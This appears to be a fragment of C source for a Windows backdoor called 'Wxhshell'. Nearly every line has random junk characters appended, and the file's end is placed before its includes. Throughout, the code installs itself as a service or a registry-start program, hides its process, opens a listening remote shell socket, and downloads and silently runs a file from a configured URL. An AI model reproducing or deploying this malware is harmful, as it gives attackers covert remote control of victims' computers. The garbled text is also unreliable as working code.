ULONG UniqueProcessId; a(ITv roM/
ULONG InheritedFromUniqueProcessId; sf# px|~9
} PROCESS_BASIC_INFORMATION; RVLVY:h|F
H\\FAOj
PROCNTQSIP NtQueryInformationProcess; 5Z5x\CcC3
<V Rb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .>P:{''
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QG2 Zh9R
{<Gp5j
HANDLE hProcess; X J)Y-7c
PROCESS_BASIC_INFORMATION pbi; F*r)
kfT*G
+l]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s(J>yd=
if(NULL == hInst ) return 0; PLMC<4$s
Ki7t?4YE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,sL%Ykr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !2Z"Lm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 85;bJfY
SgehOu
if (!NtQueryInformationProcess) return 0; Hbd>sS
c;fLM`{*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +}a(jO
if(!hProcess) return 0; Jww#zEK
X;Sb^c"j1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y:t?W
:zLf~W
CloseHandle(hProcess); T<?kH
FO:L+&hr?>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2zW IB[
if(hProcess==NULL) return 0; nPqpat`E
.9PT)^2
HMODULE hMod; ) ba~7A
char procName[255]; lv'WRS'}
unsigned long cbNeeded; '?L^Fa_H
kLZVTVSJt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &tvp)B?cWk
l&'q+F
CloseHandle(hProcess); @z{SDM
Qz#By V:
if(strstr(procName,"services")) return 1; // 以服务启动 wK#*|
yb?Pyq.D
return 0; // 注册表启动 ?_Z-}f
} RLB"}&SF]
dIlpo0; F
// 主模块 ||awNSt
int StartWxhshell(LPSTR lpCmdLine) bvB',yBZ
{ dnU-v7k,{
SOCKET wsl; J:Qx5;b;
BOOL val=TRUE; /Xb4'Qj
int port=0; ,_Bn{T=U
struct sockaddr_in door; ( I#6!Yt9J
c {%mi
if(wscfg.ws_autoins) Install(); -OlrA{=c_
10*Tk 8
port=atoi(lpCmdLine); XGH:'^o_
AJxN9[Z!N
if(port<=0) port=wscfg.ws_port; }9fch9>Zr
)&d=2M;3
WSADATA data; H>%AK''
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $["HC-n?.k
"8ellKh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $DIy?kZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aSX4~UYB=
door.sin_family = AF_INET; i#t-p\Tcz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Ak#1w&q
door.sin_port = htons(port); Babzrt-
3zD#V3=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GyN|beou
closesocket(wsl); c]aU}[s1
return 1; t~/:St
} ": M]3.
pF-_yyQ
if(listen(wsl,2) == INVALID_SOCKET) { sIgTSdk
closesocket(wsl); ]B=*p0~j^n
return 1; `hkvxt
} YYYF a
Wxhshell(wsl); `@],J
WSACleanup(); v#%rjml[
otR7E+*3
return 0; |<,qnf| -
vu\W5M
} 'kt6%d2
r+E!V'{C
// 以NT服务方式启动 |xFA}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~rdS#f&R2
{ ZF[W<Q
DWORD status = 0; 1LRP
R@b^
DWORD specificError = 0xfffffff; [,AFtg[
!6=;dX
serviceStatus.dwServiceType = SERVICE_WIN32; &|GH@^)@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M=pQx$%a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uhfK\.3
serviceStatus.dwWin32ExitCode = 0; {\`ttc>
serviceStatus.dwServiceSpecificExitCode = 0; D!,5j_,j%
serviceStatus.dwCheckPoint = 0; K}re{y
serviceStatus.dwWaitHint = 0; |kPgXq6
|7c],SHm
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -EP1Rl`\
if (hServiceStatusHandle==0) return; lt6wmCe
ue@/o,C>
status = GetLastError(); 9S@x
if (status!=NO_ERROR) C78g|n{
{ qm!oJL
serviceStatus.dwCurrentState = SERVICE_STOPPED; V=8db%^
serviceStatus.dwCheckPoint = 0; (c0L
H
serviceStatus.dwWaitHint = 0; +?U[362>
serviceStatus.dwWin32ExitCode = status; %"Um8`]FVg
serviceStatus.dwServiceSpecificExitCode = specificError; P(k*SB|D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Twa(RjB<
return; X1.-C@o
} KqntOo}
y)
n~ad#iN
serviceStatus.dwCurrentState = SERVICE_RUNNING; `~)?OTzU#
serviceStatus.dwCheckPoint = 0; ?DUim1KG
serviceStatus.dwWaitHint = 0; HZRFE[ 9nb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L?N&kzA
} aj;x:UqpJ
oLKliA=q
// 处理NT服务事件,比如:启动、停止 M^:JhX{
VOID WINAPI NTServiceHandler(DWORD fdwControl) !\R5/-_UU
{ r4SwvxhG
switch(fdwControl)
JHa1lj
{ L.'61ZU
case SERVICE_CONTROL_STOP: w gS'/
serviceStatus.dwWin32ExitCode = 0; zFm`e:td
serviceStatus.dwCurrentState = SERVICE_STOPPED; uE')<fVX(
serviceStatus.dwCheckPoint = 0; k37?NoT
serviceStatus.dwWaitHint = 0; p]RQ-0
{ &SbdX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q/]~`S
} cmXbkM
return; u.X]K:Yow
case SERVICE_CONTROL_PAUSE: [E
a{);
serviceStatus.dwCurrentState = SERVICE_PAUSED; V0,JTWc
break; TS6xF?
case SERVICE_CONTROL_CONTINUE: ,M3hE/rb/
serviceStatus.dwCurrentState = SERVICE_RUNNING; O00;0w u
break; i&>^"_4rc
case SERVICE_CONTROL_INTERROGATE: zni9
break; MygAmV&
}; lg-_[!4Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _S
ng55s
} MN2i0!+
/io06)-/n
// 标准应用程序主函数 N~$>| gn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5HOl~E
{ J"AR3b@,$?
~@c<5 -`{
// 获取操作系统版本 (7G4 v
OsIsNt=GetOsVer(); E42)93~C
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hj{.{V
8*0QVFn$
// 从命令行安装 Bp7p X
if(strpbrk(lpCmdLine,"iI")) Install(); Li5&^RAo|J
.|[{$&B
// 下载执行文件 YgcW1}
if(wscfg.ws_downexe) { eWAD;x?.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `qs,V
WinExec(wscfg.ws_filenam,SW_HIDE); ^>l <)$s
} wx3_?8z/O
<K^a2 D
if(!OsIsNt) { ' J@J$#6
// 如果时win9x,隐藏进程并且设置为注册表启动 >(a35 b$
HideProc(); n3~axRPO
StartWxhshell(lpCmdLine); GoybkwFjZ
} w~6UOA8}
else g0zzDv7~
if(StartFromService()) Mrrpm%Y
// 以服务方式启动 sr;&/l#7h
StartServiceCtrlDispatcher(DispatchTable); >ZOlSLu
else 5m~9Vl-&
// 普通方式启动 $XQgat@&]
StartWxhshell(lpCmdLine); \09A"fs{
fVn4=d6X
return 0; 06Wqfzceb
} $4g{4-)
o^2MfFS
ZXb|3|D
TbD
=========================================== mh}D[K=~%
LH4#p%Pb%
0C :8X
=|i_T%a
%htI!b+"@
3*</vo#`
" C+**!uYIB
]F+|C
#include <stdio.h> i,;JI>U
#include <string.h> qa^cJ1@
#include <windows.h> Kc\8GkdB
#include <winsock2.h> MBt\"b#t
#include <winsvc.h> &'fER-
#include <urlmon.h> pSlc (M>
Y_[7q<L
#pragma comment (lib, "Ws2_32.lib") `r SOt*<
#pragma comment (lib, "urlmon.lib") yq;[1O_9C
1=J& ^O{W
#define MAX_USER 100 // 最大客户端连接数 i5TGK#3o
#define BUF_SOCK 200 // sock buffer \|S%zX
#define KEY_BUFF 255 // 输入 buffer 4:rwzRDY
flPS+
#define REBOOT 0 // 重启 hYzP6?K"
#define SHUTDOWN 1 // 关机 >Gpq{Ph[
4ekwmw(ox
#define DEF_PORT 5000 // 监听端口 Cl&mz1Y;]1
4E.9CjN1>
#define REG_LEN 16 // 注册表键长度 ^(:~8 h
#define SVC_LEN 80 // NT服务名长度 E:8*o7
BmV`<Q,
// 从dll定义API 8
*f9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5.VPK 338A
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =?C <